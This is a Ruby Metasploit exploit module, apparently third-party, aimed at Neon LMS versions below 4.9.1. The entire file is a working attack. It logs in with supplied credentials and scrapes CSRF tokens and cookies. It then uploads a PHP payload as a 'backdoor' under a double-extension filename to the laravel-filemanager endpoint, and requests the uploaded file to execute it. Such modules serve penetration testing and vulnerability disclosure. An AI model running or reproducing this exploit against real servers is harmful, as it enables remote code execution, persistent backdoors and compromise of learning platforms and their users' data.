##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require "net/http"
require "uri"
require 'nokogiri'
class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Neon LMS < v4.9.1 Shell Upload ',
'Description' => %q{
This module exploits File Manager File Upload
vulnerability found in NEON LMS.
},
'Author' => [ 'th3d1gger' ],
'License' => 'MSF_LICENSE',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', {} ],
],
'DefaultTarget' => 0 ))
register_options(
[
OptString.new('EMAIL', [ true, 'Email to login with', 'student@lms.com']),
OptString.new('PASSWORD', [ true, 'Password to login with', 'secret'])
], self.class)
end
def primer
end
def email
datastore['EMAIL']
end
def password
datastore['PASSWORD']
end
def auth
#print cookie
#print response.body
uri = URI.parse('http://'+rhost.to_s+':'+rport.to_s)
http = Net::HTTP.new(uri.host, uri.port)
# make first call to get cookies
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
doc = Nokogiri::HTML(response.body)
csrf = doc.search("meta[name='csrf-token']").map { |n|
n['content'].to_s
}
# save cookies
cookiexsrf = response.response['set-cookie'].split(';')
#cooke = cookiexsrf = response.response['set-cookie']
cookieneon = response.response['set-cookie'].split('/')
cookielms= cookieneon[1].split(',')[1].split(';')[0]
#print cookie
#print response.body
uri = normalize_uri('/login')
#print cookiexsrf[0]+';'+cookielms
request = Net::HTTP::Post.new(uri)
request.set_form_data({"email" => email, "password" => password, '_token'=> csrf[0]})
# Tweak headers, removing this will default to application/x-www-form-urlencoded
request["X-CSRF-TOKEN"] = csrf[0]
request['Cookie'] = cookiexsrf[0]+';'+cookielms
request['X-Requested-With'] = 'XMLHttpRequest'
request['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36'
response = http.request(request)
if response && response.body.include?("success")
print_good("Awesome..! Authenticated with #{email}:#{password}")
doc = Nokogiri::HTML(response.body)
# save cookies
cookiexsrf = response.response['set-cookie'].split(';')
#cooke = cookiexsrf = response.response['set-cookie']
cookieneon = response.response['set-cookie'].split('/')
cookielms= cookieneon[1].split(',')[1].split(';')[0]
uri = URI.parse('http://'+rhost.to_s+':'+rport.to_s+'/user/dashboard')
http = Net::HTTP.new(uri.host, uri.port)
# make first call to get cookies
request = Net::HTTP::Get.new(uri.request_uri)
request['Cookie'] = cookiexsrf[0]+';'+cookielms
request['X-Requested-With'] = 'XMLHttpRequest'
request['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36'
response = http.request(request)
doc = Nokogiri::HTML(response.body)
csrf = doc.search("meta[name='csrf-token']").map { |n|
n['content']
}
cookiexsrf = response.response['set-cookie'].split(';')
#cooke = cookiexsrf = response.response['set-cookie']
cookieneon = response.response['set-cookie'].split('/')
cookielms= cookieneon[1].split(',')[1].split(';')[0]
@fname = "#{rand_text_alphanumeric(rand(10)+6)}.gif.php .php"
php = "<?php #{payload.encoded} ?>"
data = Rex::MIME::Message.new
data.add_part(php, 'application/octet-stream', nil, "form-data; name=\"upload\"; filename=\"#{@fname}\"")
post_data = data.to_s
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/laravel-filemanager/upload?type=&_token='+csrf[0]),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookiexsrf[0]+';'+cookielms,
'data' => post_data
})
if res.code == 200
print_status("backdoor uploaded")
file = res.body.split('\'')[-2]
file = file.split(" ")[0]
print_status("#{file}")
print_status("#{peer} - Executing #{file}...")
uri = URI.parse(file)
http = Net::HTTP.new(uri.host, uri.port)
# make first call to get cookies
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
print_status(res.body)
else
print_status("failed")
end
else
# print_status(response.body)
fail_with(Failure::NoAccess, 'Credentials are not valid.')
end
end
def exploit
auth
if auth.nil?
fail_with(Failure::Unknown, 'Something went wrong!')
end
end
end
